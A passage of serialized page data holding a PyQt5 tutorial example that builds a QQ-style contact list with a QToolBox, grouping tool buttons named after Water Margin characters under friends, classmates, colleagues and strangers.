self.toolButton_6.setGeometry(QtCore.QRect(0, 50, 120, 51))  \n        icon5 = QtGui.QIcon()  \n        icon5.addPixmap(QtGui.QPixmap(\"图标\u002F06.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n        self.toolButton_6.setIcon(icon5)  \n        self.toolButton_6.setIconSize(QtCore.QSize(96, 96))  \n        self.toolButton_6.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n        self.toolButton_6.setAutoRaise(True)  \n        self.toolButton_6.setObjectName(\"toolButton_6\")  \n        self.toolBox.addItem(self.page_3, \"\")  \n        # 陌生人设置  \n        self.page_4 = QtWidgets.QWidget()  \n        self.page_4.setObjectName(\"page_4\")  \n        self.toolButton_7 = QtWidgets.QToolButton(self.page_4)  \n        self.toolButton_7.setGeometry(QtCore.QRect(0, 7, 120, 51))  \n        icon6 = QtGui.QIcon()  \n        icon6.addPixmap(QtGui.QPixmap(\"图标\u002F07.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n        self.toolButton_7.setIcon(icon6)  \n        self.toolButton_7.setIconSize(QtCore.QSize(96, 96))  \n        self.toolButton_7.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n        self.toolButton_7.setAutoRaise(True)  \n        self.toolButton_7.setObjectName(\"toolButton_7\")  \n        self.toolBox.addItem(self.page_4, \"\")  \n        MainWindow.setCentralWidget(self.centralwidget)  \n        self.retranslateUi(MainWindow)  \n        self.toolBox.setCurrentIndex(0)  # 默认选择第一个页面，即我的好友  \n        QtCore.QMetaObject.connectSlotsByName(MainWindow)  \n  \n    def retranslateUi(self, MainWindow):  \n        _translate = QtCore.QCoreApplication.translate  \n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"我的QQ\"))  \n        self.toolButton.setText(_translate(\"MainWindow\", \"宋江\"))  \n        self.toolButton_2.setText(_translate(\"MainWindow\", \"卢俊义\"))  \n        self.toolButton_3.setText(_translate(\"MainWindow\", \"吴用\"))  \n        self.toolBox.setItemText(self.toolBox.indexOf(self.page), _translate(\"MainWindow\", \"我的好友\"))  \n        self.toolButton_4.setText(_translate(\"MainWindow\", \"林冲\"))  \n        self.toolBox.setItemText(self.toolBox.indexOf(self.page_2), _translate(\"MainWindow\", \"同学\"))  \n        self.toolButton_5.setText(_translate(\"MainWindow\", \"鲁智深\"))  \n        self.toolButton_6.setText(_translate(\"MainWindow\", \"武松\"))  \n        self.toolBox.setItemText(self.toolBox.indexOf(self.page_3), _translate(\"MainWindow\", \"同事\"))  \n        self.toolButton_7.setText(_translate(\"MainWindow\", \"方腊\"))  \n        self.toolBox.setItemText(self.toolBox.indexOf(self.page_4), _translate(\"MainWindow\", \"陌生人\"))  \n  \nimport sys  \n# 程序入口，程序从此处启动PyQt设计的窗体  \nif __name__ == '__main__':  \n    app = QtWidgets.QApplication(sys.argv)  \n    MainWindow = QtWidgets.QMainWindow()  # 创建窗体对象  \n    ui = Ui_MainWindow()  # 创建PyQt设计的窗体对象  \n    ui.setupUi(MainWindow)  # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n    MainWindow.setWindowFlags(QtCore.Qt.WindowCloseButtonHint)  # 只显示“关闭”按钮  \n    MainWindow.show()  # 显示窗体  \n    sys.exit(app.exec_())  # 程序关闭时退出进程\n",[50106],{"type":18,"tag":74,"props":50107,"children":50108},{"__ignoreMap":8},[50109,50116,50123,50130,50137,50144,50152,50159,50166,50174,50182,50190,50198,50206,50214,50222,50230,50238,50246,50254,50262,50270,50278,50286,50294,50302,50310,50318,50326,50334,50342,50350,50358,50366,50374,50382,50390,50398,50406,50414,50422,50430,50438,50446,50454,50462,50470,50478,50486,50494,50502,50510,50518,50526,50534,50542,50550,50558,50566,50574,50582,50590,50598,50606,50614,50622,50630,50638,50646,50654,50662,50670,50678,50686,50694,50702,50710,50718,50726,50734,50742,50750,50758,50766,50774,50782,50790,50798,50806,50814,50822,50830,50838,50846,50854,50862,50871,50879,50887,50895,50903,50912,50921,50930,50939,50948,50957,50966,50975,50984,50993,51002,51011,51019,51027,51035,51043,51051,51059,51068,51076,51085,51094],{"type":18,"tag":297,"props":50110,"children":50111},{"class":299,"line":300},[50112],{"type":18,"tag":297,"props":50113,"children":50114},{},[50115],{"type":24,"value":42107},{"type":18,"tag":297,"props":50117,"children":50118},{"class":299,"line":657},[50119],{"type":18,"tag":297,"props":50120,"children":50121},{},[50122],{"type":24,"value":36783},{"type":18,"tag":297,"props":50124,"children":50125},{"class":299,"line":662},[50126],{"type":18,"tag":297,"props":50127,"children":50128},{},[50129],{"type":24,"value":42122},{"type":18,"tag":297,"props":50131,"children":50132},{"class":299,"line":799},[50133],{"type":18,"tag":297,"props":50134,"children":50135},{},[50136],{"type":24,"value":42137},{"type":18,"tag":297,"props":50138,"children":50139},{"class":299,"line":808},[50140],{"type":18,"tag":297,"props":50141,"children":50142},{},[50143],{"type":24,"value":42145},{"type":18,"tag":297,"props":50145,"children":50146},{"class":299,"line":817},[50147],{"type":18,"tag":297,"props":50148,"children":50149},{},[50150],{"type":24,"value":50151},"        MainWindow.resize(142, 393)  \n",{"type":18,"tag":297,"props":50153,"children":50154},{"class":299,"line":826},[50155],{"type":18,"tag":297,"props":50156,"children":50157},{},[50158],{"type":24,"value":42161},{"type":18,"tag":297,"props":50160,"children":50161},{"class":299,"line":4524},[50162],{"type":18,"tag":297,"props":50163,"children":50164},{},[50165],{"type":24,"value":42169},{"type":18,"tag":297,"props":50167,"children":50168},{"class":299,"line":4533},[50169],{"type":18,"tag":297,"props":50170,"children":50171},{},[50172],{"type":24,"value":50173},"        # 创建ToolBox工具盒  \n",{"type":18,"tag":297,"props":50175,"children":50176},{"class":299,"line":4546},[50177],{"type":18,"tag":297,"props":50178,"children":50179},{},[50180],{"type":24,"value":50181},"        self.toolBox = QtWidgets.QToolBox(self.centralwidget)  \n",{"type":18,"tag":297,"props":50183,"children":50184},{"class":299,"line":4555},[50185],{"type":18,"tag":297,"props":50186,"children":50187},{},[50188],{"type":24,"value":50189},"        self.toolBox.setGeometry(QtCore.QRect(0, 0, 141, 391))  \n",{"type":18,"tag":297,"props":50191,"children":50192},{"class":299,"line":4568},[50193],{"type":18,"tag":297,"props":50194,"children":50195},{},[50196],{"type":24,"value":50197},"        self.toolBox.setObjectName(\"toolBox\")  \n",{"type":18,"tag":297,"props":50199,"children":50200},{"class":299,"line":4577},[50201],{"type":18,"tag":297,"props":50202,"children":50203},{},[50204],{"type":24,"value":50205},"        # 我的好友设置  \n",{"type":18,"tag":297,"props":50207,"children":50208},{"class":299,"line":4590},[50209],{"type":18,"tag":297,"props":50210,"children":50211},{},[50212],{"type":24,"value":50213},"        self.page = QtWidgets.QWidget()  \n",{"type":18,"tag":297,"props":50215,"children":50216},{"class":299,"line":4599},[50217],{"type":18,"tag":297,"props":50218,"children":50219},{},[50220],{"type":24,"value":50221},"        self.page.setGeometry(QtCore.QRect(0, 0, 141, 287))  \n",{"type":18,"tag":297,"props":50223,"children":50224},{"class":299,"line":4607},[50225],{"type":18,"tag":297,"props":50226,"children":50227},{},[50228],{"type":24,"value":50229},"        self.page.setObjectName(\"page\")  \n",{"type":18,"tag":297,"props":50231,"children":50232},{"class":299,"line":4616},[50233],{"type":18,"tag":297,"props":50234,"children":50235},{},[50236],{"type":24,"value":50237},"        self.toolButton = QtWidgets.QToolButton(self.page)  \n",{"type":18,"tag":297,"props":50239,"children":50240},{"class":299,"line":4624},[50241],{"type":18,"tag":297,"props":50242,"children":50243},{},[50244],{"type":24,"value":50245},"        self.toolButton.setGeometry(QtCore.QRect(0, 0, 120, 51))  \n",{"type":18,"tag":297,"props":50247,"children":50248},{"class":299,"line":4633},[50249],{"type":18,"tag":297,"props":50250,"children":50251},{},[50252],{"type":24,"value":50253},"        icon = QtGui.QIcon()  \n",{"type":18,"tag":297,"props":50255,"children":50256},{"class":299,"line":4641},[50257],{"type":18,"tag":297,"props":50258,"children":50259},{},[50260],{"type":24,"value":50261},"        icon.addPixmap(QtGui.QPixmap(\"图标\u002F01.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n",{"type":18,"tag":297,"props":50263,"children":50264},{"class":299,"line":4650},[50265],{"type":18,"tag":297,"props":50266,"children":50267},{},[50268],{"type":24,"value":50269},"        self.toolButton.setIcon(icon)  \n",{"type":18,"tag":297,"props":50271,"children":50272},{"class":299,"line":4658},[50273],{"type":18,"tag":297,"props":50274,"children":50275},{},[50276],{"type":24,"value":50277},"        self.toolButton.setIconSize(QtCore.QSize(96, 96))  \n",{"type":18,"tag":297,"props":50279,"children":50280},{"class":299,"line":4681},[50281],{"type":18,"tag":297,"props":50282,"children":50283},{},[50284],{"type":24,"value":50285},"        self.toolButton.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n",{"type":18,"tag":297,"props":50287,"children":50288},{"class":299,"line":4703},[50289],{"type":18,"tag":297,"props":50290,"children":50291},{},[50292],{"type":24,"value":50293},"        self.toolButton.setAutoRaise(True)  \n",{"type":18,"tag":297,"props":50295,"children":50296},{"class":299,"line":4711},[50297],{"type":18,"tag":297,"props":50298,"children":50299},{},[50300],{"type":24,"value":50301},"        self.toolButton.setObjectName(\"toolButton\")  \n",{"type":18,"tag":297,"props":50303,"children":50304},{"class":299,"line":4720},[50305],{"type":18,"tag":297,"props":50306,"children":50307},{},[50308],{"type":24,"value":50309},"        self.toolButton_2 = QtWidgets.QToolButton(self.page)  \n",{"type":18,"tag":297,"props":50311,"children":50312},{"class":299,"line":4728},[50313],{"type":18,"tag":297,"props":50314,"children":50315},{},[50316],{"type":24,"value":50317},"        self.toolButton_2.setGeometry(QtCore.QRect(0, 49, 120, 51))  \n",{"type":18,"tag":297,"props":50319,"children":50320},{"class":299,"line":13515},[50321],{"type":18,"tag":297,"props":50322,"children":50323},{},[50324],{"type":24,"value":50325},"        icon1 = QtGui.QIcon()  \n",{"type":18,"tag":297,"props":50327,"children":50328},{"class":299,"line":13553},[50329],{"type":18,"tag":297,"props":50330,"children":50331},{},[50332],{"type":24,"value":50333},"        icon1.addPixmap(QtGui.QPixmap(\"图标\u002F02.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n",{"type":18,"tag":297,"props":50335,"children":50336},{"class":299,"line":13591},[50337],{"type":18,"tag":297,"props":50338,"children":50339},{},[50340],{"type":24,"value":50341},"        self.toolButton_2.setIcon(icon1)  \n",{"type":18,"tag":297,"props":50343,"children":50344},{"class":299,"line":13624},[50345],{"type":18,"tag":297,"props":50346,"children":50347},{},[50348],{"type":24,"value":50349},"        self.toolButton_2.setIconSize(QtCore.QSize(96, 96))  \n",{"type":18,"tag":297,"props":50351,"children":50352},{"class":299,"line":13632},[50353],{"type":18,"tag":297,"props":50354,"children":50355},{},[50356],{"type":24,"value":50357},"        self.toolButton_2.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n",{"type":18,"tag":297,"props":50359,"children":50360},{"class":299,"line":13641},[50361],{"type":18,"tag":297,"props":50362,"children":50363},{},[50364],{"type":24,"value":50365},"        self.toolButton_2.setAutoRaise(True)  \n",{"type":18,"tag":297,"props":50367,"children":50368},{"class":299,"line":13724},[50369],{"type":18,"tag":297,"props":50370,"children":50371},{},[50372],{"type":24,"value":50373},"        self.toolButton_2.setObjectName(\"toolButton_2\")  \n",{"type":18,"tag":297,"props":50375,"children":50376},{"class":299,"line":13732},[50377],{"type":18,"tag":297,"props":50378,"children":50379},{},[50380],{"type":24,"value":50381},"        self.toolButton_3 = QtWidgets.QToolButton(self.page)  \n",{"type":18,"tag":297,"props":50383,"children":50384},{"class":299,"line":13786},[50385],{"type":18,"tag":297,"props":50386,"children":50387},{},[50388],{"type":24,"value":50389},"        self.toolButton_3.setGeometry(QtCore.QRect(0, 103, 120, 51))  \n",{"type":18,"tag":297,"props":50391,"children":50392},{"class":299,"line":13794},[50393],{"type":18,"tag":297,"props":50394,"children":50395},{},[50396],{"type":24,"value":50397},"        icon2 = QtGui.QIcon()  \n",{"type":18,"tag":297,"props":50399,"children":50400},{"class":299,"line":13803},[50401],{"type":18,"tag":297,"props":50402,"children":50403},{},[50404],{"type":24,"value":50405},"        icon2.addPixmap(QtGui.QPixmap(\"图标\u002F03.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n",{"type":18,"tag":297,"props":50407,"children":50408},{"class":299,"line":13845},[50409],{"type":18,"tag":297,"props":50410,"children":50411},{},[50412],{"type":24,"value":50413},"        self.toolButton_3.setIcon(icon2)  \n",{"type":18,"tag":297,"props":50415,"children":50416},{"class":299,"line":13887},[50417],{"type":18,"tag":297,"props":50418,"children":50419},{},[50420],{"type":24,"value":50421},"        self.toolButton_3.setIconSize(QtCore.QSize(96, 96))  \n",{"type":18,"tag":297,"props":50423,"children":50424},{"class":299,"line":13927},[50425],{"type":18,"tag":297,"props":50426,"children":50427},{},[50428],{"type":24,"value":50429},"        self.toolButton_3.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n",{"type":18,"tag":297,"props":50431,"children":50432},{"class":299,"line":13943},[50433],{"type":18,"tag":297,"props":50434,"children":50435},{},[50436],{"type":24,"value":50437},"        self.toolButton_3.setAutoRaise(True)  \n",{"type":18,"tag":297,"props":50439,"children":50440},{"class":299,"line":15315},[50441],{"type":18,"tag":297,"props":50442,"children":50443},{},[50444],{"type":24,"value":50445},"        self.toolButton_3.setObjectName(\"toolButton_3\")  \n",{"type":18,"tag":297,"props":50447,"children":50448},{"class":299,"line":15331},[50449],{"type":18,"tag":297,"props":50450,"children":50451},{},[50452],{"type":24,"value":50453},"        self.toolBox.addItem(self.page, \"\")  \n",{"type":18,"tag":297,"props":50455,"children":50456},{"class":299,"line":15347},[50457],{"type":18,"tag":297,"props":50458,"children":50459},{},[50460],{"type":24,"value":50461},"        # 同学设置  \n",{"type":18,"tag":297,"props":50463,"children":50464},{"class":299,"line":42458},[50465],{"type":18,"tag":297,"props":50466,"children":50467},{},[50468],{"type":24,"value":50469},"        self.page_2 = QtWidgets.QWidget()  \n",{"type":18,"tag":297,"props":50471,"children":50472},{"class":299,"line":42467},[50473],{"type":18,"tag":297,"props":50474,"children":50475},{},[50476],{"type":24,"value":50477},"        self.page_2.setGeometry(QtCore.QRect(0, 0, 141, 287))  \n",{"type":18,"tag":297,"props":50479,"children":50480},{"class":299,"line":42476},[50481],{"type":18,"tag":297,"props":50482,"children":50483},{},[50484],{"type":24,"value":50485},"        self.page_2.setObjectName(\"page_2\")  \n",{"type":18,"tag":297,"props":50487,"children":50488},{"class":299,"line":42954},[50489],{"type":18,"tag":297,"props":50490,"children":50491},{},[50492],{"type":24,"value":50493},"        self.toolButton_4 = QtWidgets.QToolButton(self.page_2)  \n",{"type":18,"tag":297,"props":50495,"children":50496},{"class":299,"line":42963},[50497],{"type":18,"tag":297,"props":50498,"children":50499},{},[50500],{"type":24,"value":50501},"        self.toolButton_4.setGeometry(QtCore.QRect(0, 0, 120, 51))  \n",{"type":18,"tag":297,"props":50503,"children":50504},{"class":299,"line":42972},[50505],{"type":18,"tag":297,"props":50506,"children":50507},{},[50508],{"type":24,"value":50509},"        icon3 = QtGui.QIcon()  \n",{"type":18,"tag":297,"props":50511,"children":50512},{"class":299,"line":45120},[50513],{"type":18,"tag":297,"props":50514,"children":50515},{},[50516],{"type":24,"value":50517},"        icon3.addPixmap(QtGui.QPixmap(\"图标\u002F04.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n",{"type":18,"tag":297,"props":50519,"children":50520},{"class":299,"line":45129},[50521],{"type":18,"tag":297,"props":50522,"children":50523},{},[50524],{"type":24,"value":50525},"        self.toolButton_4.setIcon(icon3)  \n",{"type":18,"tag":297,"props":50527,"children":50528},{"class":299,"line":45138},[50529],{"type":18,"tag":297,"props":50530,"children":50531},{},[50532],{"type":24,"value":50533},"        self.toolButton_4.setIconSize(QtCore.QSize(96, 96))  \n",{"type":18,"tag":297,"props":50535,"children":50536},{"class":299,"line":45147},[50537],{"type":18,"tag":297,"props":50538,"children":50539},{},[50540],{"type":24,"value":50541},"        self.toolButton_4.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n",{"type":18,"tag":297,"props":50543,"children":50544},{"class":299,"line":45155},[50545],{"type":18,"tag":297,"props":50546,"children":50547},{},[50548],{"type":24,"value":50549},"        self.toolButton_4.setAutoRaise(True)  \n",{"type":18,"tag":297,"props":50551,"children":50552},{"class":299,"line":45164},[50553],{"type":18,"tag":297,"props":50554,"children":50555},{},[50556],{"type":24,"value":50557},"        self.toolButton_4.setObjectName(\"toolButton_4\")  \n",{"type":18,"tag":297,"props":50559,"children":50560},{"class":299,"line":45173},[50561],{"type":18,"tag":297,"props":50562,"children":50563},{},[50564],{"type":24,"value":50565},"        self.toolBox.addItem(self.page_2, \"\")  \n",{"type":18,"tag":297,"props":50567,"children":50568},{"class":299,"line":45182},[50569],{"type":18,"tag":297,"props":50570,"children":50571},{},[50572],{"type":24,"value":50573},"        # 同事设置  \n",{"type":18,"tag":297,"props":50575,"children":50576},{"class":299,"line":45191},[50577],{"type":18,"tag":297,"props":50578,"children":50579},{},[50580],{"type":24,"value":50581},"        self.page_3 = QtWidgets.QWidget()  \n",{"type":18,"tag":297,"props":50583,"children":50584},{"class":299,"line":45200},[50585],{"type":18,"tag":297,"props":50586,"children":50587},{},[50588],{"type":24,"value":50589},"        self.page_3.setObjectName(\"page_3\")  \n",{"type":18,"tag":297,"props":50591,"children":50592},{"class":299,"line":45209},[50593],{"type":18,"tag":297,"props":50594,"children":50595},{},[50596],{"type":24,"value":50597},"        self.toolButton_5 = QtWidgets.QToolButton(self.page_3)  \n",{"type":18,"tag":297,"props":50599,"children":50600},{"class":299,"line":45218},[50601],{"type":18,"tag":297,"props":50602,"children":50603},{},[50604],{"type":24,"value":50605},"        self.toolButton_5.setGeometry(QtCore.QRect(0, 1, 120, 51))  \n",{"type":18,"tag":297,"props":50607,"children":50608},{"class":299,"line":45227},[50609],{"type":18,"tag":297,"props":50610,"children":50611},{},[50612],{"type":24,"value":50613},"        icon4 = QtGui.QIcon()  \n",{"type":18,"tag":297,"props":50615,"children":50616},{"class":299,"line":45236},[50617],{"type":18,"tag":297,"props":50618,"children":50619},{},[50620],{"type":24,"value":50621},"        icon4.addPixmap(QtGui.QPixmap(\"图标\u002F05.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n",{"type":18,"tag":297,"props":50623,"children":50624},{"class":299,"line":45245},[50625],{"type":18,"tag":297,"props":50626,"children":50627},{},[50628],{"type":24,"value":50629},"        self.toolButton_5.setIcon(icon4)  \n",{"type":18,"tag":297,"props":50631,"children":50632},{"class":299,"line":45254},[50633],{"type":18,"tag":297,"props":50634,"children":50635},{},[50636],{"type":24,"value":50637},"        self.toolButton_5.setIconSize(QtCore.QSize(96, 96))  \n",{"type":18,"tag":297,"props":50639,"children":50640},{"class":299,"line":45263},[50641],{"type":18,"tag":297,"props":50642,"children":50643},{},[50644],{"type":24,"value":50645},"        self.toolButton_5.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n",{"type":18,"tag":297,"props":50647,"children":50648},{"class":299,"line":45272},[50649],{"type":18,"tag":297,"props":50650,"children":50651},{},[50652],{"type":24,"value":50653},"        self.toolButton_5.setAutoRaise(True)  \n",{"type":18,"tag":297,"props":50655,"children":50656},{"class":299,"line":45281},[50657],{"type":18,"tag":297,"props":50658,"children":50659},{},[50660],{"type":24,"value":50661},"        self.toolButton_5.setObjectName(\"toolButton_5\")  \n",{"type":18,"tag":297,"props":50663,"children":50664},{"class":299,"line":45290},[50665],{"type":18,"tag":297,"props":50666,"children":50667},{},[50668],{"type":24,"value":50669},"        self.toolButton_6 = QtWidgets.QToolButton(self.page_3)  \n",{"type":18,"tag":297,"props":50671,"children":50672},{"class":299,"line":45299},[50673],{"type":18,"tag":297,"props":50674,"children":50675},{},[50676],{"type":24,"value":50677},"        self.toolButton_6.setGeometry(QtCore.QRect(0, 50, 120, 51))  \n",{"type":18,"tag":297,"props":50679,"children":50680},{"class":299,"line":45308},[50681],{"type":18,"tag":297,"props":50682,"children":50683},{},[50684],{"type":24,"value":50685},"        icon5 = QtGui.QIcon()  \n",{"type":18,"tag":297,"props":50687,"children":50688},{"class":299,"line":45317},[50689],{"type":18,"tag":297,"props":50690,"children":50691},{},[50692],{"type":24,"value":50693},"        icon5.addPixmap(QtGui.QPixmap(\"图标\u002F06.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n",{"type":18,"tag":297,"props":50695,"children":50696},{"class":299,"line":45326},[50697],{"type":18,"tag":297,"props":50698,"children":50699},{},[50700],{"type":24,"value":50701},"        self.toolButton_6.setIcon(icon5)  \n",{"type":18,"tag":297,"props":50703,"children":50704},{"class":299,"line":45335},[50705],{"type":18,"tag":297,"props":50706,"children":50707},{},[50708],{"type":24,"value":50709},"        self.toolButton_6.setIconSize(QtCore.QSize(96, 96))  \n",{"type":18,"tag":297,"props":50711,"children":50712},{"class":299,"line":45344},[50713],{"type":18,"tag":297,"props":50714,"children":50715},{},[50716],{"type":24,"value":50717},"        self.toolButton_6.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n",{"type":18,"tag":297,"props":50719,"children":50720},{"class":299,"line":45353},[50721],{"type":18,"tag":297,"props":50722,"children":50723},{},[50724],{"type":24,"value":50725},"        self.toolButton_6.setAutoRaise(True)  \n",{"type":18,"tag":297,"props":50727,"children":50728},{"class":299,"line":45362},[50729],{"type":18,"tag":297,"props":50730,"children":50731},{},[50732],{"type":24,"value":50733},"        self.toolButton_6.setObjectName(\"toolButton_6\")  \n",{"type":18,"tag":297,"props":50735,"children":50736},{"class":299,"line":45370},[50737],{"type":18,"tag":297,"props":50738,"children":50739},{},[50740],{"type":24,"value":50741},"        self.toolBox.addItem(self.page_3, \"\")  \n",{"type":18,"tag":297,"props":50743,"children":50744},{"class":299,"line":45378},[50745],{"type":18,"tag":297,"props":50746,"children":50747},{},[50748],{"type":24,"value":50749},"        # 陌生人设置  \n",{"type":18,"tag":297,"props":50751,"children":50752},{"class":299,"line":45386},[50753],{"type":18,"tag":297,"props":50754,"children":50755},{},[50756],{"type":24,"value":50757},"        self.page_4 = QtWidgets.QWidget()  \n",{"type":18,"tag":297,"props":50759,"children":50760},{"class":299,"line":45395},[50761],{"type":18,"tag":297,"props":50762,"children":50763},{},[50764],{"type":24,"value":50765},"        self.page_4.setObjectName(\"page_4\")  \n",{"type":18,"tag":297,"props":50767,"children":50768},{"class":299,"line":45404},[50769],{"type":18,"tag":297,"props":50770,"children":50771},{},[50772],{"type":24,"value":50773},"        self.toolButton_7 = QtWidgets.QToolButton(self.page_4)  \n",{"type":18,"tag":297,"props":50775,"children":50776},{"class":299,"line":45412},[50777],{"type":18,"tag":297,"props":50778,"children":50779},{},[50780],{"type":24,"value":50781},"        self.toolButton_7.setGeometry(QtCore.QRect(0, 7, 120, 51))  \n",{"type":18,"tag":297,"props":50783,"children":50784},{"class":299,"line":45420},[50785],{"type":18,"tag":297,"props":50786,"children":50787},{},[50788],{"type":24,"value":50789},"        icon6 = QtGui.QIcon()  \n",{"type":18,"tag":297,"props":50791,"children":50792},{"class":299,"line":45428},[50793],{"type":18,"tag":297,"props":50794,"children":50795},{},[50796],{"type":24,"value":50797},"        icon6.addPixmap(QtGui.QPixmap(\"图标\u002F07.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n",{"type":18,"tag":297,"props":50799,"children":50800},{"class":299,"line":45436},[50801],{"type":18,"tag":297,"props":50802,"children":50803},{},[50804],{"type":24,"value":50805},"        self.toolButton_7.setIcon(icon6)  \n",{"type":18,"tag":297,"props":50807,"children":50808},{"class":299,"line":45444},[50809],{"type":18,"tag":297,"props":50810,"children":50811},{},[50812],{"type":24,"value":50813},"        self.toolButton_7.setIconSize(QtCore.QSize(96, 96))  \n",{"type":18,"tag":297,"props":50815,"children":50816},{"class":299,"line":45453},[50817],{"type":18,"tag":297,"props":50818,"children":50819},{},[50820],{"type":24,"value":50821},"        self.toolButton_7.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n",{"type":18,"tag":297,"props":50823,"children":50824},{"class":299,"line":45462},[50825],{"type":18,"tag":297,"props":50826,"children":50827},{},[50828],{"type":24,"value":50829},"        self.toolButton_7.setAutoRaise(True)  \n",{"type":18,"tag":297,"props":50831,"children":50832},{"class":299,"line":45471},[50833],{"type":18,"tag":297,"props":50834,"children":50835},{},[50836],{"type":24,"value":50837},"        self.toolButton_7.setObjectName(\"toolButton_7\")  \n",{"type":18,"tag":297,"props":50839,"children":50840},{"class":299,"line":45480},[50841],{"type":18,"tag":297,"props":50842,"children":50843},{},[50844],{"type":24,"value":50845},"        self.toolBox.addItem(self.page_4, \"\")  \n",{"type":18,"tag":297,"props":50847,"children":50849},{"class":299,"line":50848},94,[50850],{"type":18,"tag":297,"props":50851,"children":50852},{},[50853],{"type":24,"value":42337},{"type":18,"tag":297,"props":50855,"children":50857},{"class":299,"line":50856},95,[50858],{"type":18,"tag":297,"props":50859,"children":50860},{},[50861],{"type":24,"value":42345},{"type":18,"tag":297,"props":50863,"children":50865},{"class":299,"line":50864},96,[50866],{"type":18,"tag":297,"props":50867,"children":50868},{},[50869],{"type":24,"value":50870},"        self.toolBox.setCurrentIndex(0)  # 默认选择第一个页面，即我的好友  \n",{"type":18,"tag":297,"props":50872,"children":50874},{"class":299,"line":50873},97,[50875],{"type":18,"tag":297,"props":50876,"children":50877},{},[50878],{"type":24,"value":42353},{"type":18,"tag":297,"props":50880,"children":50882},{"class":299,"line":50881},98,[50883],{"type":18,"tag":297,"props":50884,"children":50885},{},[50886],{"type":24,"value":36783},{"type":18,"tag":297,"props":50888,"children":50890},{"class":299,"line":50889},99,[50891],{"type":18,"tag":297,"props":50892,"children":50893},{},[50894],{"type":24,"value":42384},{"type":18,"tag":297,"props":50896,"children":50898},{"class":299,"line":50897},100,[50899],{"type":18,"tag":297,"props":50900,"children":50901},{},[50902],{"type":24,"value":42392},{"type":18,"tag":297,"props":50904,"children":50906},{"class":299,"line":50905},101,[50907],{"type":18,"tag":297,"props":50908,"children":50909},{},[50910],{"type":24,"value":50911},"        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"我的QQ\"))  \n",{"type":18,"tag":297,"props":50913,"children":50915},{"class":299,"line":50914},102,[50916],{"type":18,"tag":297,"props":50917,"children":50918},{},[50919],{"type":24,"value":50920},"        self.toolButton.setText(_translate(\"MainWindow\", \"宋江\"))  \n",{"type":18,"tag":297,"props":50922,"children":50924},{"class":299,"line":50923},103,[50925],{"type":18,"tag":297,"props":50926,"children":50927},{},[50928],{"type":24,"value":50929},"        self.toolButton_2.setText(_translate(\"MainWindow\", \"卢俊义\"))  \n",{"type":18,"tag":297,"props":50931,"children":50933},{"class":299,"line":50932},104,[50934],{"type":18,"tag":297,"props":50935,"children":50936},{},[50937],{"type":24,"value":50938},"        self.toolButton_3.setText(_translate(\"MainWindow\", \"吴用\"))  \n",{"type":18,"tag":297,"props":50940,"children":50942},{"class":299,"line":50941},105,[50943],{"type":18,"tag":297,"props":50944,"children":50945},{},[50946],{"type":24,"value":50947},"        self.toolBox.setItemText(self.toolBox.indexOf(self.page), _translate(\"MainWindow\", \"我的好友\"))  \n",{"type":18,"tag":297,"props":50949,"children":50951},{"class":299,"line":50950},106,[50952],{"type":18,"tag":297,"props":50953,"children":50954},{},[50955],{"type":24,"value":50956},"        self.toolButton_4.setText(_translate(\"MainWindow\", \"林冲\"))  \n",{"type":18,"tag":297,"props":50958,"children":50960},{"class":299,"line":50959},107,[50961],{"type":18,"tag":297,"props":50962,"children":50963},{},[50964],{"type":24,"value":50965},"        self.toolBox.setItemText(self.toolBox.indexOf(self.page_2), _translate(\"MainWindow\", \"同学\"))  \n",{"type":18,"tag":297,"props":50967,"children":50969},{"class":299,"line":50968},108,[50970],{"type":18,"tag":297,"props":50971,"children":50972},{},[50973],{"type":24,"value":50974},"        self.toolButton_5.setText(_translate(\"MainWindow\", \"鲁智深\"))  \n",{"type":18,"tag":297,"props":50976,"children":50978},{"class":299,"line":50977},109,[50979],{"type":18,"tag":297,"props":50980,"children":50981},{},[50982],{"type":24,"value":50983},"        self.toolButton_6.setText(_translate(\"MainWindow\", \"武松\"))  \n",{"type":18,"tag":297,"props":50985,"children":50987},{"class":299,"line":50986},110,[50988],{"type":18,"tag":297,"props":50989,"children":50990},{},[50991],{"type":24,"value":50992},"        self.toolBox.setItemText(self.toolBox.indexOf(self.page_3), _translate(\"MainWindow\", \"同事\"))  \n",{"type":18,"tag":297,"props":50994,"children":50996},{"class":299,"line":50995},111,[50997],{"type":18,"tag":297,"props":50998,"children":50999},{},[51000],{"type":24,"value":51001},"        self.toolButton_7.setText(_translate(\"MainWindow\", \"方腊\"))  \n",{"type":18,"tag":297,"props":51003,"children":51005},{"class":299,"line":51004},112,[51006],{"type":18,"tag":297,"props":51007,"children":51008},{},[51009],{"type":24,"value":51010},"        self.toolBox.setItemText(self.toolBox.indexOf(self.page_4), _translate(\"MainWindow\", \"陌生人\"))  